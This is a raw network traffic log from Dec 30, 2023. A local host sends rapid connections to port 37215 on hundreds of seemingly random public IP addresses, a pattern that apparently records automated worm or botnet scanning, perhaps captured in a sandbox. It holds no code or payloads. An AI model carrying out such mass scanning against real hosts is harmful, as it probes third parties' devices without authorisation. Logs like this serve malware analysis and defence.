Dec 30, 2023 07:13:47.359203100 CET	3641	37215	192.168.2.23	41.165.1.92
Dec 30, 2023 07:13:47.359204054 CET	3641	37215	192.168.2.23	156.37.164.109
Dec 30, 2023 07:13:47.359205008 CET	3641	37215	192.168.2.23	107.198.12.106
Dec 30, 2023 07:13:47.359208107 CET	3641	37215	192.168.2.23	156.173.13.137
Dec 30, 2023 07:13:47.359210968 CET	3641	37215	192.168.2.23	102.241.206.105
Dec 30, 2023 07:13:47.359214067 CET	3641	37215	192.168.2.23	156.248.223.72
Dec 30, 2023 07:13:47.359220982 CET	3641	37215	192.168.2.23	156.72.116.118
Dec 30, 2023 07:13:47.359224081 CET	3641	37215	192.168.2.23	138.100.5.246
Dec 30, 2023 07:13:47.359231949 CET	3641	37215	192.168.2.23	121.145.224.131
Dec 30, 2023 07:13:47.359231949 CET	3641	37215	192.168.2.23	196.19.17.4
Dec 30, 2023 07:13:47.359245062 CET	3641	37215	192.168.2.23	121.138.25.7
Dec 30, 2023 07:13:47.359251976 CET	3641	37215	192.168.2.23	190.3.122.216
Dec 30, 2023 07:13:47.359255075 CET	3641	37215	192.168.2.23	102.59.124.10
Dec 30, 2023 07:13:47.359255075 CET	3641	37215	192.168.2.23	156.25.86.153
Dec 30, 2023 07:13:47.359260082 CET	3641	37215	192.168.2.23	190.108.211.128
Dec 30, 2023 07:13:47.359273911 CET	3641	37215	192.168.2.23	222.130.222.146
Dec 30, 2023 07:13:47.359277010 CET	3641	37215	192.168.2.23	41.39.36.211
Dec 30, 2023 07:13:47.359278917 CET	3641	37215	192.168.2.23	41.96.22.191
Dec 30, 2023 07:13:47.359278917 CET	3641	37215	192.168.2.23	160.79.14.125
Dec 30, 2023 07:13:47.359280109 CET	3641	37215	192.168.2.23	121.128.109.108
Dec 30, 2023 07:13:47.359287024 CET	3641	37215	192.168.2.23	222.55.29.90
Dec 30, 2023 07:13:47.359289885 CET	3641	37215	192.168.2.23	196.131.186.179
Dec 30, 2023 07:13:47.359289885 CET	3641	37215	192.168.2.23	41.139.7.215
Dec 30, 2023 07:13:47.359297037 CET	3641	37215	192.168.2.23	41.211.56.186
Dec 30, 2023 07:13:47.359303951 CET	3641	37215	192.168.2.23	197.183.210.203
Dec 30, 2023 07:13:47.359306097 CET	3641	37215	192.168.2.23	197.136.145.64
Dec 30, 2023 07:13:47.359312057 CET	3641	37215	192.168.2.23	157.126.119.11
Dec 30, 2023 07:13:47.359329939 CET	3641	37215	192.168.2.23	197.188.206.246
Dec 30, 2023 07:13:47.359333038 CET	3641	37215	192.168.2.23	156.12.185.233
Dec 30, 2023 07:13:47.359334946 CET	3641	37215	192.168.2.23	160.234.151.20
Dec 30, 2023 07:13:47.359334946 CET	3641	37215	192.168.2.23	41.60.206.32
Dec 30, 2023 07:13:47.359334946 CET	3641	37215	192.168.2.23	156.117.211.24
Dec 30, 2023 07:13:47.359338045 CET	3641	37215	192.168.2.23	41.238.161.162
Dec 30, 2023 07:13:47.359342098 CET	3641	37215	192.168.2.23	156.45.220.228
Dec 30, 2023 07:13:47.359347105 CET	3641	37215	192.168.2.23	41.233.185.205
Dec 30, 2023 07:13:47.359357119 CET	3641	37215	192.168.2.23	197.46.53.119
Dec 30, 2023 07:13:47.359357119 CET	3641	37215	192.168.2.23	95.109.125.15
Dec 30, 2023 07:13:47.359364986 CET	3641	37215	192.168.2.23	45.221.50.65
Dec 30, 2023 07:13:47.359366894 CET	3641	37215	192.168.2.23	156.15.45.166
Dec 30, 2023 07:13:47.359366894 CET	3641	37215	192.168.2.23	197.207.204.13
Dec 30, 2023 07:13:47.359366894 CET	3641	37215	192.168.2.23	156.66.200.150
Dec 30, 2023 07:13:47.359375000 CET	3641	37215	192.168.2.23	197.28.231.216
Dec 30, 2023 07:13:47.359385967 CET	3641	37215	192.168.2.23	197.60.251.171
Dec 30, 2023 07:13:47.359386921 CET	3641	37215	192.168.2.23	156.137.114.217
Dec 30, 2023 07:13:47.359391928 CET	3641	37215	192.168.2.23	41.57.14.191
Dec 30, 2023 07:13:47.359507084 CET	54650	37215	192.168.2.23	156.73.184.25
Dec 30, 2023 07:13:47.359527111 CET	48908	37215	192.168.2.23	156.73.118.155
Dec 30, 2023 07:13:47.396533012 CET	37215	3641	160.77.234.218	192.168.2.23
Dec 30, 2023 07:13:47.514339924 CET	37215	3641	154.83.209.230	192.168.2.23
Dec 30, 2023 07:13:47.525367022 CET	37215	3641	156.73.197.20	192.168.2.23
Dec 30, 2023 07:13:47.525425911 CET	3641	37215	192.168.2.23	156.73.197.20
Dec 30, 2023 07:13:47.629910946 CET	37215	3641	186.236.173.199	192.168.2.23
Dec 30, 2023 07:13:47.689466953 CET	37215	3641	121.124.228.169	192.168.2.23
Dec 30, 2023 07:13:47.705243111 CET	37215	3641	222.220.88.30	192.168.2.23
Dec 30, 2023 07:13:47.773701906 CET	37215	3641	197.6.95.87	192.168.2.23
Dec 30, 2023 07:13:47.791071892 CET	37215	3641	197.130.146.243	192.168.2.23
Dec 30, 2023 07:13:48.360451937 CET	3641	37215	192.168.2.23	197.103.221.94
Dec 30, 2023 07:13:48.360452890 CET	3641	37215	192.168.2.23	197.233.169.90
Dec 30, 2023 07:13:48.360456944 CET	3641	37215	192.168.2.23	156.124.36.147
Dec 30, 2023 07:13:48.360456944 CET	3641	37215	192.168.2.23	197.215.139.27
Dec 30, 2023 07:13:48.360461950 CET	3641	37215	192.168.2.23	41.101.74.122
Dec 30, 2023 07:13:48.360475063 CET	3641	37215	192.168.2.23	197.87.249.65
Dec 30, 2023 07:13:48.360480070 CET	3641	37215	192.168.2.23	41.2.192.90
Dec 30, 2023 07:13:48.360480070 CET	3641	37215	192.168.2.23	41.83.66.71
Dec 30, 2023 07:13:48.360482931 CET	3641	37215	192.168.2.23	156.174.23.22
Dec 30, 2023 07:13:48.360482931 CET	3641	37215	192.168.2.23	41.151.94.210
Dec 30, 2023 07:13:48.360486984 CET	3641	37215	192.168.2.23	197.173.165.127
Dec 30, 2023 07:13:48.360492945 CET	3641	37215	192.168.2.23	197.92.250.248
Dec 30, 2023 07:13:48.360496998 CET	3641	37215	192.168.2.23	190.4.77.126
Dec 30, 2023 07:13:48.360500097 CET	3641	37215	192.168.2.23	181.254.210.117
Dec 30, 2023 07:13:48.360500097 CET	3641	37215	192.168.2.23	120.96.141.232
Dec 30, 2023 07:13:48.360505104 CET	3641	37215	192.168.2.23	197.84.215.8
Dec 30, 2023 07:13:48.360516071 CET	3641	37215	192.168.2.23	186.198.58.224
Dec 30, 2023 07:13:48.360522985 CET	3641	37215	192.168.2.23	41.93.140.33
Dec 30, 2023 07:13:48.360524893 CET	3641	37215	192.168.2.23	41.67.33.220
Dec 30, 2023 07:13:48.360524893 CET	3641	37215	192.168.2.23	41.189.155.219
Dec 30, 2023 07:13:48.360524893 CET	3641	37215	192.168.2.23	156.28.92.173
Dec 30, 2023 07:13:48.360524893 CET	3641	37215	192.168.2.23	197.164.169.248
Dec 30, 2023 07:13:48.360532999 CET	3641	37215	192.168.2.23	156.13.123.3
Dec 30, 2023 07:13:48.360534906 CET	3641	37215	192.168.2.23	222.111.194.103
Dec 30, 2023 07:13:48.360538006 CET	3641	37215	192.168.2.23	156.61.68.39
Dec 30, 2023 07:13:48.360538006 CET	3641	37215	192.168.2.23	156.177.9.82
Dec 30, 2023 07:13:48.360538960 CET	3641	37215	192.168.2.23	156.78.119.48
Dec 30, 2023 07:13:48.360539913 CET	3641	37215	192.168.2.23	196.243.135.253
Dec 30, 2023 07:13:48.360541105 CET	3641	37215	192.168.2.23	197.136.42.233
Dec 30, 2023 07:13:48.360542059 CET	3641	37215	192.168.2.23	41.23.72.44
Dec 30, 2023 07:13:48.360555887 CET	3641	37215	192.168.2.23	197.15.200.172
Dec 30, 2023 07:13:48.360558987 CET	3641	37215	192.168.2.23	102.103.96.5
Dec 30, 2023 07:13:48.360559940 CET	3641	37215	192.168.2.23	41.183.179.220
Dec 30, 2023 07:13:48.360560894 CET	3641	37215	192.168.2.23	92.235.125.141
Dec 30, 2023 07:13:48.360563040 CET	3641	37215	192.168.2.23	41.75.39.225
Dec 30, 2023 07:13:48.360569000 CET	3641	37215	192.168.2.23	41.181.96.160
Dec 30, 2023 07:13:48.360570908 CET	3641	37215	192.168.2.23	41.224.90.68
Dec 30, 2023 07:13:48.360574961 CET	3641	37215	192.168.2.23	102.224.167.22
Dec 30, 2023 07:13:48.360579014 CET	3641	37215	192.168.2.23	41.51.50.197
Dec 30, 2023 07:13:48.360594988 CET	3641	37215	192.168.2.23	197.122.143.142
Dec 30, 2023 07:13:48.360595942 CET	3641	37215	192.168.2.23	181.168.43.14
Dec 30, 2023 07:13:48.360596895 CET	3641	37215	192.168.2.23	102.166.148.171
Dec 30, 2023 07:13:48.360595942 CET	3641	37215	192.168.2.23	41.200.163.248
Dec 30, 2023 07:13:48.360594988 CET	3641	37215	192.168.2.23	37.45.72.84
Dec 30, 2023 07:13:48.360596895 CET	3641	37215	192.168.2.23	156.164.198.30
Dec 30, 2023 07:13:48.360601902 CET	3641	37215	192.168.2.23	197.163.48.8
Dec 30, 2023 07:13:48.360605955 CET	3641	37215	192.168.2.23	197.182.228.15
Dec 30, 2023 07:13:48.360608101 CET	3641	37215	192.168.2.23	41.38.74.214
Dec 30, 2023 07:13:48.360608101 CET	3641	37215	192.168.2.23	138.95.253.43
Dec 30, 2023 07:13:48.360624075 CET	3641	37215	192.168.2.23	156.122.203.71
Dec 30, 2023 07:13:48.360622883 CET	3641	37215	192.168.2.23	102.200.217.79
Dec 30, 2023 07:13:48.360624075 CET	3641	37215	192.168.2.23	138.111.156.31
Dec 30, 2023 07:13:48.360625982 CET	3641	37215	192.168.2.23	156.126.203.188
Dec 30, 2023 07:13:48.360624075 CET	3641	37215	192.168.2.23	94.96.119.155
Dec 30, 2023 07:13:48.360627890 CET	3641	37215	192.168.2.23	156.13.88.108
Dec 30, 2023 07:13:48.360640049 CET	3641	37215	192.168.2.23	156.148.102.185
Dec 30, 2023 07:13:48.360645056 CET	3641	37215	192.168.2.23	94.79.231.208
Dec 30, 2023 07:13:48.360651970 CET	3641	37215	192.168.2.23	197.27.157.214
Dec 30, 2023 07:13:48.360661983 CET	3641	37215	192.168.2.23	197.34.108.231
Dec 30, 2023 07:13:48.360661983 CET	3641	37215	192.168.2.23	41.69.89.254
Dec 30, 2023 07:13:48.360662937 CET	3641	37215	192.168.2.23	154.128.212.144
Dec 30, 2023 07:13:48.360663891 CET	3641	37215	192.168.2.23	41.80.143.41
Dec 30, 2023 07:13:48.360662937 CET	3641	37215	192.168.2.23	156.124.194.148
Dec 30, 2023 07:13:48.360663891 CET	3641	37215	192.168.2.23	41.141.158.222
Dec 30, 2023 07:13:48.360666990 CET	3641	37215	192.168.2.23	197.156.52.149
Dec 30, 2023 07:13:48.360668898 CET	3641	37215	192.168.2.23	156.24.136.78
Dec 30, 2023 07:13:48.360668898 CET	3641	37215	192.168.2.23	156.134.71.72
Dec 30, 2023 07:13:48.360682964 CET	3641	37215	192.168.2.23	197.246.192.250
Dec 30, 2023 07:13:48.360683918 CET	3641	37215	192.168.2.23	41.221.142.77
Dec 30, 2023 07:13:48.360683918 CET	3641	37215	192.168.2.23	107.83.135.159
Dec 30, 2023 07:13:48.360683918 CET	3641	37215	192.168.2.23	222.241.34.1
Dec 30, 2023 07:13:48.360692978 CET	3641	37215	192.168.2.23	156.171.119.246
Dec 30, 2023 07:13:48.360692978 CET	3641	37215	192.168.2.23	45.165.230.38
Dec 30, 2023 07:13:48.360692978 CET	3641	37215	192.168.2.23	197.88.196.234
Dec 30, 2023 07:13:48.360697031 CET	3641	37215	192.168.2.23	154.159.88.105
Dec 30, 2023 07:13:48.360707998 CET	3641	37215	192.168.2.23	156.79.228.38
Dec 30, 2023 07:13:48.360709906 CET	3641	37215	192.168.2.23	45.222.228.65
Dec 30, 2023 07:13:48.360709906 CET	3641	37215	192.168.2.23	156.114.75.70
Dec 30, 2023 07:13:48.360712051 CET	3641	37215	192.168.2.23	197.60.2.40
Dec 30, 2023 07:13:48.360713005 CET	3641	37215	192.168.2.23	107.113.96.81
Dec 30, 2023 07:13:48.360713005 CET	3641	37215	192.168.2.23	197.245.20.109
Dec 30, 2023 07:13:48.360713005 CET	3641	37215	192.168.2.23	45.22.181.83
Dec 30, 2023 07:13:48.360718012 CET	3641	37215	192.168.2.23	197.92.147.37
Dec 30, 2023 07:13:48.360728979 CET	3641	37215	192.168.2.23	41.226.35.202
Dec 30, 2023 07:13:48.360729933 CET	3641	37215	192.168.2.23	190.231.2.171
Dec 30, 2023 07:13:48.360729933 CET	3641	37215	192.168.2.23	41.237.114.121
Dec 30, 2023 07:13:48.360743046 CET	3641	37215	192.168.2.23	156.96.40.132
Dec 30, 2023 07:13:48.360748053 CET	3641	37215	192.168.2.23	197.191.152.87
Dec 30, 2023 07:13:48.360748053 CET	3641	37215	192.168.2.23	156.181.31.150
Dec 30, 2023 07:13:48.360753059 CET	3641	37215	192.168.2.23	94.222.193.99
Dec 30, 2023 07:13:48.360758066 CET	3641	37215	192.168.2.23	41.96.36.180
Dec 30, 2023 07:13:48.360759974 CET	3641	37215	192.168.2.23	196.238.165.161
Dec 30, 2023 07:13:48.360771894 CET	3641	37215	192.168.2.23	156.103.42.200
Dec 30, 2023 07:13:48.360771894 CET	3641	37215	192.168.2.23	122.18.128.106
Dec 30, 2023 07:13:48.360774994 CET	3641	37215	192.168.2.23	156.151.81.169
Dec 30, 2023 07:13:48.360774994 CET	3641	37215	192.168.2.23	197.132.182.151
Dec 30, 2023 07:13:48.360774994 CET	3641	37215	192.168.2.23	37.91.173.165
Dec 30, 2023 07:13:48.360774994 CET	3641	37215	192.168.2.23	37.128.183.107
Dec 30, 2023 07:13:48.360784054 CET	3641	37215	192.168.2.23	156.218.124.90
Dec 30, 2023 07:13:48.360784054 CET	3641	37215	192.168.2.23	197.96.249.7
Dec 30, 2023 07:13:48.360785007 CET	3641	37215	192.168.2.23	107.82.199.163
Dec 30, 2023 07:13:48.360784054 CET	3641	37215	192.168.2.23	156.181.14.5
Dec 30, 2023 07:13:48.360785961 CET	3641	37215	192.168.2.23	37.57.239.115
Dec 30, 2023 07:13:48.360785961 CET	3641	37215	192.168.2.23	154.253.196.143
Dec 30, 2023 07:13:48.360789061 CET	3641	37215	192.168.2.23	156.121.0.89
Dec 30, 2023 07:13:48.360797882 CET	3641	37215	192.168.2.23	197.135.91.155
Dec 30, 2023 07:13:48.360802889 CET	3641	37215	192.168.2.23	41.42.152.152
Dec 30, 2023 07:13:48.360805988 CET	3641	37215	192.168.2.23	156.11.26.3
Dec 30, 2023 07:13:48.360806942 CET	3641	37215	192.168.2.23	197.145.165.199
Dec 30, 2023 07:13:48.360806942 CET	3641	37215	192.168.2.23	122.203.172.79
Dec 30, 2023 07:13:48.360807896 CET	3641	37215	192.168.2.23	41.175.82.85
Dec 30, 2023 07:13:48.360807896 CET	3641	37215	192.168.2.23	41.115.163.131
Dec 30, 2023 07:13:48.360807896 CET	3641	37215	192.168.2.23	190.11.253.181
Dec 30, 2023 07:13:48.360807896 CET	3641	37215	192.168.2.23	190.59.160.161
Dec 30, 2023 07:13:48.360809088 CET	3641	37215	192.168.2.23	181.185.228.82
Dec 30, 2023 07:13:48.360809088 CET	3641	37215	192.168.2.23	197.123.51.116
Dec 30, 2023 07:13:48.360809088 CET	3641	37215	192.168.2.23	94.126.244.59
Dec 30, 2023 07:13:48.360809088 CET	3641	37215	192.168.2.23	41.206.163.200
Dec 30, 2023 07:13:48.360809088 CET	3641	37215	192.168.2.23	120.72.221.243
Dec 30, 2023 07:13:48.360814095 CET	3641	37215	192.168.2.23	41.153.83.233
Dec 30, 2023 07:13:48.360816002 CET	3641	37215	192.168.2.23	156.110.222.31
Dec 30, 2023 07:13:48.360816002 CET	3641	37215	192.168.2.23	41.39.174.253
Dec 30, 2023 07:13:48.360826015 CET	3641	37215	192.168.2.23	157.98.141.30
Dec 30, 2023 07:13:48.360826015 CET	3641	37215	192.168.2.23	154.135.0.218
Dec 30, 2023 07:13:48.360826015 CET	3641	37215	192.168.2.23	197.213.171.122
Dec 30, 2023 07:13:48.360829115 CET	3641	37215	192.168.2.23	121.226.211.41
Dec 30, 2023 07:13:48.360829115 CET	3641	37215	192.168.2.23	156.138.80.28
Dec 30, 2023 07:13:48.360837936 CET	3641	37215	192.168.2.23	156.246.56.231
Dec 30, 2023 07:13:48.360837936 CET	3641	37215	192.168.2.23	197.105.35.109
Dec 30, 2023 07:13:48.360837936 CET	3641	37215	192.168.2.23	197.75.88.176
Dec 30, 2023 07:13:48.360838890 CET	3641	37215	192.168.2.23	37.96.33.195
Dec 30, 2023 07:13:48.360837936 CET	3641	37215	192.168.2.23	41.156.101.18
Dec 30, 2023 07:13:48.360838890 CET	3641	37215	192.168.2.23	197.114.213.128
Dec 30, 2023 07:13:48.360840082 CET	3641	37215	192.168.2.23	197.184.213.56
Dec 30, 2023 07:13:48.360840082 CET	3641	37215	192.168.2.23	138.124.242.221
Dec 30, 2023 07:13:48.360840082 CET	3641	37215	192.168.2.23	197.248.136.119
Dec 30, 2023 07:13:48.360840082 CET	3641	37215	192.168.2.23	41.141.84.222
Dec 30, 2023 07:13:48.360846996 CET	3641	37215	192.168.2.23	197.80.186.226
Dec 30, 2023 07:13:48.360846996 CET	3641	37215	192.168.2.23	197.245.184.111
Dec 30, 2023 07:13:48.360846996 CET	3641	37215	192.168.2.23	41.154.225.175
Dec 30, 2023 07:13:48.360846996 CET	3641	37215	192.168.2.23	160.188.80.24
Dec 30, 2023 07:13:48.360846996 CET	3641	37215	192.168.2.23	197.81.128.5
Dec 30, 2023 07:13:48.360846996 CET	3641	37215	192.168.2.23	41.19.170.31
Dec 30, 2023 07:13:48.360846996 CET	3641	37215	192.168.2.23	197.57.160.134
Dec 30, 2023 07:13:48.360868931 CET	3641	37215	192.168.2.23	197.64.201.95
Dec 30, 2023 07:13:48.360873938 CET	3641	37215	192.168.2.23	197.136.12.133
Dec 30, 2023 07:13:48.360873938 CET	3641	37215	192.168.2.23	41.200.230.240
Dec 30, 2023 07:13:48.360876083 CET	3641	37215	192.168.2.23	156.44.199.82
Dec 30, 2023 07:13:48.360888004 CET	3641	37215	192.168.2.23	197.121.88.123
Dec 30, 2023 07:13:48.360888004 CET	3641	37215	192.168.2.23	156.171.11.180
Dec 30, 2023 07:13:48.360888958 CET	3641	37215	192.168.2.23	41.150.13.29
Dec 30, 2023 07:13:48.360893011 CET	3641	37215	192.168.2.23	156.131.160.117
Dec 30, 2023 07:13:48.360893011 CET	3641	37215	192.168.2.23	197.178.213.253
Dec 30, 2023 07:13:48.360893011 CET	3641	37215	192.168.2.23	197.251.153.192
Dec 30, 2023 07:13:48.360893965 CET	3641	37215	192.168.2.23	197.24.20.155
Dec 30, 2023 07:13:48.360903978 CET	3641	37215	192.168.2.23	156.159.165.167
Dec 30, 2023 07:13:48.360909939 CET	3641	37215	192.168.2.23	41.168.208.114
Dec 30, 2023 07:13:48.360909939 CET	3641	37215	192.168.2.23	41.100.12.171
Dec 30, 2023 07:13:48.360918999 CET	3641	37215	192.168.2.23	120.170.112.24
Dec 30, 2023 07:13:48.360922098 CET	3641	37215	192.168.2.23	197.201.119.151
Dec 30, 2023 07:13:48.360922098 CET	3641	37215	192.168.2.23	154.183.144.81
Dec 30, 2023 07:13:48.360922098 CET	3641	37215	192.168.2.23	45.150.9.75
Dec 30, 2023 07:13:48.360922098 CET	3641	37215	192.168.2.23	197.163.208.116
Dec 30, 2023 07:13:48.360928059 CET	3641	37215	192.168.2.23	154.18.65.73
Dec 30, 2023 07:13:48.360932112 CET	3641	37215	192.168.2.23	120.163.185.53
Dec 30, 2023 07:13:48.360939980 CET	3641	37215	192.168.2.23	41.106.129.81
Dec 30, 2023 07:13:48.360948086 CET	3641	37215	192.168.2.23	45.131.130.124
Dec 30, 2023 07:13:48.360954046 CET	3641	37215	192.168.2.23	41.41.144.163
Dec 30, 2023 07:13:48.360948086 CET	3641	37215	192.168.2.23	154.102.155.6
Dec 30, 2023 07:13:48.360959053 CET	3641	37215	192.168.2.23	156.0.139.31
Dec 30, 2023 07:13:48.360965014 CET	3641	37215	192.168.2.23	197.143.38.41
Dec 30, 2023 07:13:48.360965014 CET	3641	37215	192.168.2.23	157.1.48.184
Dec 30, 2023 07:13:48.360975027 CET	3641	37215	192.168.2.23	120.251.68.72
Dec 30, 2023 07:13:48.360975981 CET	3641	37215	192.168.2.23	41.104.108.208
Dec 30, 2023 07:13:48.360975981 CET	3641	37215	192.168.2.23	197.166.156.12
Dec 30, 2023 07:13:48.360975981 CET	3641	37215	192.168.2.23	41.47.67.131
Dec 30, 2023 07:13:48.360980988 CET	3641	37215	192.168.2.23	122.54.71.241
Dec 30, 2023 07:13:48.360980988 CET	3641	37215	192.168.2.23	41.75.182.209
Dec 30, 2023 07:13:48.360981941 CET	3641	37215	192.168.2.23	197.147.219.91
Dec 30, 2023 07:13:48.360981941 CET	3641	37215	192.168.2.23	95.158.125.248
Dec 30, 2023 07:13:48.360981941 CET	3641	37215	192.168.2.23	95.83.137.81
Dec 30, 2023 07:13:48.360987902 CET	3641	37215	192.168.2.23	41.190.205.115
Dec 30, 2023 07:13:48.360987902 CET	3641	37215	192.168.2.23	156.27.98.253
Dec 30, 2023 07:13:48.360987902 CET	3641	37215	192.168.2.23	156.104.0.146
Dec 30, 2023 07:13:48.360991001 CET	3641	37215	192.168.2.23	122.118.81.144
Dec 30, 2023 07:13:48.360991001 CET	3641	37215	192.168.2.23	156.126.0.71
Dec 30, 2023 07:13:48.360991001 CET	3641	37215	192.168.2.23	41.18.82.82
Dec 30, 2023 07:13:48.360994101 CET	3641	37215	192.168.2.23	156.141.72.254
Dec 30, 2023 07:13:48.360991001 CET	3641	37215	192.168.2.23	41.4.106.112
Dec 30, 2023 07:13:48.360991001 CET	3641	37215	192.168.2.23	156.227.2.212
Dec 30, 2023 07:13:48.360991001 CET	3641	37215	192.168.2.23	45.133.67.102
Dec 30, 2023 07:13:48.360996962 CET	3641	37215	192.168.2.23	41.159.98.69
Dec 30, 2023 07:13:48.361006975 CET	3641	37215	192.168.2.23	156.100.120.42
Dec 30, 2023 07:13:48.361013889 CET	3641	37215	192.168.2.23	122.72.48.144
Dec 30, 2023 07:13:48.361013889 CET	3641	37215	192.168.2.23	41.182.189.121
Dec 30, 2023 07:13:48.361018896 CET	3641	37215	192.168.2.23	156.91.185.165
Dec 30, 2023 07:13:48.361020088 CET	3641	37215	192.168.2.23	156.45.84.204
Dec 30, 2023 07:13:48.361020088 CET	3641	37215	192.168.2.23	41.233.187.158
Dec 30, 2023 07:13:48.361020088 CET	3641	37215	192.168.2.23	186.126.84.82
Dec 30, 2023 07:13:48.361021996 CET	3641	37215	192.168.2.23	41.57.45.87
Dec 30, 2023 07:13:48.361021996 CET	3641	37215	192.168.2.23	120.230.161.189
Dec 30, 2023 07:13:48.361021996 CET	3641	37215	192.168.2.23	41.33.64.200
Dec 30, 2023 07:13:48.361030102 CET	3641	37215	192.168.2.23	41.162.68.70
Dec 30, 2023 07:13:48.361032009 CET	3641	37215	192.168.2.23	138.66.218.15
Dec 30, 2023 07:13:48.361036062 CET	3641	37215	192.168.2.23	138.178.189.131
Dec 30, 2023 07:13:48.361041069 CET	3641	37215	192.168.2.23	41.142.188.58
Dec 30, 2023 07:13:48.361041069 CET	3641	37215	192.168.2.23	156.123.106.157
Dec 30, 2023 07:13:48.361041069 CET	3641	37215	192.168.2.23	37.24.224.49
Dec 30, 2023 07:13:48.361041069 CET	3641	37215	192.168.2.23	41.149.117.212
Dec 30, 2023 07:13:48.361046076 CET	3641	37215	192.168.2.23	156.51.152.16
Dec 30, 2023 07:13:48.361046076 CET	3641	37215	192.168.2.23	156.88.243.223
Dec 30, 2023 07:13:48.361046076 CET	3641	37215	192.168.2.23	41.40.47.210
Dec 30, 2023 07:13:48.361047983 CET	3641	37215	192.168.2.23	186.96.212.179
Dec 30, 2023 07:13:48.361053944 CET	3641	37215	192.168.2.23	190.229.242.122
Dec 30, 2023 07:13:48.361064911 CET	3641	37215	192.168.2.23	160.72.125.51
Dec 30, 2023 07:13:48.361064911 CET	3641	37215	192.168.2.23	156.131.225.113
Dec 30, 2023 07:13:48.361083031 CET	3641	37215	192.168.2.23	197.73.228.184
Dec 30, 2023 07:13:48.361083984 CET	3641	37215	192.168.2.23	157.17.136.9
Dec 30, 2023 07:13:48.361083984 CET	3641	37215	192.168.2.23	41.46.3.252
Dec 30, 2023 07:13:48.361087084 CET	3641	37215	192.168.2.23	121.72.99.122
Dec 30, 2023 07:13:48.361088991 CET	3641	37215	192.168.2.23	41.214.35.157
Dec 30, 2023 07:13:48.361088991 CET	3641	37215	192.168.2.23	222.116.217.159
Dec 30, 2023 07:13:48.361085892 CET	3641	37215	192.168.2.23	156.189.26.130
Dec 30, 2023 07:13:48.361099005 CET	3641	37215	192.168.2.23	222.88.59.40
Dec 30, 2023 07:13:48.361099958 CET	3641	37215	192.168.2.23	92.203.24.245
Dec 30, 2023 07:13:48.361099958 CET	3641	37215	192.168.2.23	45.151.89.131
Dec 30, 2023 07:13:48.361099958 CET	3641	37215	192.168.2.23	196.21.38.200
Dec 30, 2023 07:13:48.361104965 CET	3641	37215	192.168.2.23	156.118.85.200
Dec 30, 2023 07:13:48.361107111 CET	3641	37215	192.168.2.23	41.192.199.152
Dec 30, 2023 07:13:48.361109018 CET	3641	37215	192.168.2.23	222.222.132.51
Dec 30, 2023 07:13:48.361109018 CET	3641	37215	192.168.2.23	196.80.246.40
Dec 30, 2023 07:13:48.361109018 CET	3641	37215	192.168.2.23	197.88.31.35
Dec 30, 2023 07:13:48.361109018 CET	3641	37215	192.168.2.23	41.18.210.68
Dec 30, 2023 07:13:48.361113071 CET	3641	37215	192.168.2.23	186.37.249.115
Dec 30, 2023 07:13:48.361114025 CET	3641	37215	192.168.2.23	41.136.114.219
Dec 30, 2023 07:13:48.361114979 CET	3641	37215	192.168.2.23	197.22.18.37
Dec 30, 2023 07:13:48.361116886 CET	3641	37215	192.168.2.23	41.33.223.223
Dec 30, 2023 07:13:48.361119986 CET	3641	37215	192.168.2.23	196.68.219.34
Dec 30, 2023 07:13:48.361121893 CET	3641	37215	192.168.2.23	41.146.136.248
Dec 30, 2023 07:13:48.361135960 CET	3641	37215	192.168.2.23	41.28.192.123
Dec 30, 2023 07:13:48.361135960 CET	3641	37215	192.168.2.23	156.63.61.157
Dec 30, 2023 07:13:48.361135960 CET	3641	37215	192.168.2.23	102.223.174.94
Dec 30, 2023 07:13:48.361135960 CET	3641	37215	192.168.2.23	92.193.255.241
Dec 30, 2023 07:13:48.361143112 CET	3641	37215	192.168.2.23	157.248.44.194
Dec 30, 2023 07:13:48.361152887 CET	3641	37215	192.168.2.23	92.221.190.18
Dec 30, 2023 07:13:48.361154079 CET	3641	37215	192.168.2.23	41.86.188.163
Dec 30, 2023 07:13:48.361155033 CET	3641	37215	192.168.2.23	37.19.13.160
Dec 30, 2023 07:13:48.361165047 CET	3641	37215	192.168.2.23	197.5.157.154
Dec 30, 2023 07:13:48.361172915 CET	3641	37215	192.168.2.23	41.156.255.64
Dec 30, 2023 07:13:48.361177921 CET	3641	37215	192.168.2.23	181.89.24.165
Dec 30, 2023 07:13:48.361179113 CET	3641	37215	192.168.2.23	138.241.222.117
Dec 30, 2023 07:13:48.361186981 CET	3641	37215	192.168.2.23	122.140.178.225
Dec 30, 2023 07:13:48.361187935 CET	3641	37215	192.168.2.23	92.47.188.189
Dec 30, 2023 07:13:48.361191988 CET	3641	37215	192.168.2.23	197.109.84.180
Dec 30, 2023 07:13:48.361208916 CET	3641	37215	192.168.2.23	41.50.161.72
Dec 30, 2023 07:13:48.361208916 CET	3641	37215	192.168.2.23	156.244.210.169
Dec 30, 2023 07:13:48.361212015 CET	3641	37215	192.168.2.23	156.110.16.12
Dec 30, 2023 07:13:48.361221075 CET	3641	37215	192.168.2.23	45.110.247.12
Dec 30, 2023 07:13:48.361227989 CET	3641	37215	192.168.2.23	41.61.214.8
Dec 30, 2023 07:13:48.361227989 CET	3641	37215	192.168.2.23	156.224.57.168
Dec 30, 2023 07:13:48.361227989 CET	3641	37215	192.168.2.23	157.63.229.55
Dec 30, 2023 07:13:48.361227989 CET	3641	37215	192.168.2.23	156.81.105.255
Dec 30, 2023 07:13:48.361232042 CET	3641	37215	192.168.2.23	197.145.244.88
Dec 30, 2023 07:13:48.361227989 CET	3641	37215	192.168.2.23	121.66.86.232
Dec 30, 2023 07:13:48.361229897 CET	3641	37215	192.168.2.23	92.137.201.165
Dec 30, 2023 07:13:48.361227989 CET	3641	37215	192.168.2.23	197.96.57.145
Dec 30, 2023 07:13:48.361236095 CET	3641	37215	192.168.2.23	197.204.51.201
Dec 30, 2023 07:13:48.361237049 CET	3641	37215	192.168.2.23	197.50.148.96
Dec 30, 2023 07:13:48.361237049 CET	3641	37215	192.168.2.23	197.229.182.140
Dec 30, 2023 07:13:48.361243963 CET	3641	37215	192.168.2.23	197.241.128.74
Dec 30, 2023 07:13:48.361248016 CET	3641	37215	192.168.2.23	197.49.190.96
Dec 30, 2023 07:13:48.361262083 CET	3641	37215	192.168.2.23	186.218.154.196
Dec 30, 2023 07:13:48.361262083 CET	3641	37215	192.168.2.23	37.71.173.119
Dec 30, 2023 07:13:48.361263037 CET	3641	37215	192.168.2.23	197.135.54.174
Dec 30, 2023 07:13:48.361265898 CET	3641	37215	192.168.2.23	156.204.79.108
Dec 30, 2023 07:13:48.361268997 CET	3641	37215	192.168.2.23	41.22.16.202
Dec 30, 2023 07:13:48.361268997 CET	3641	37215	192.168.2.23	222.16.149.107
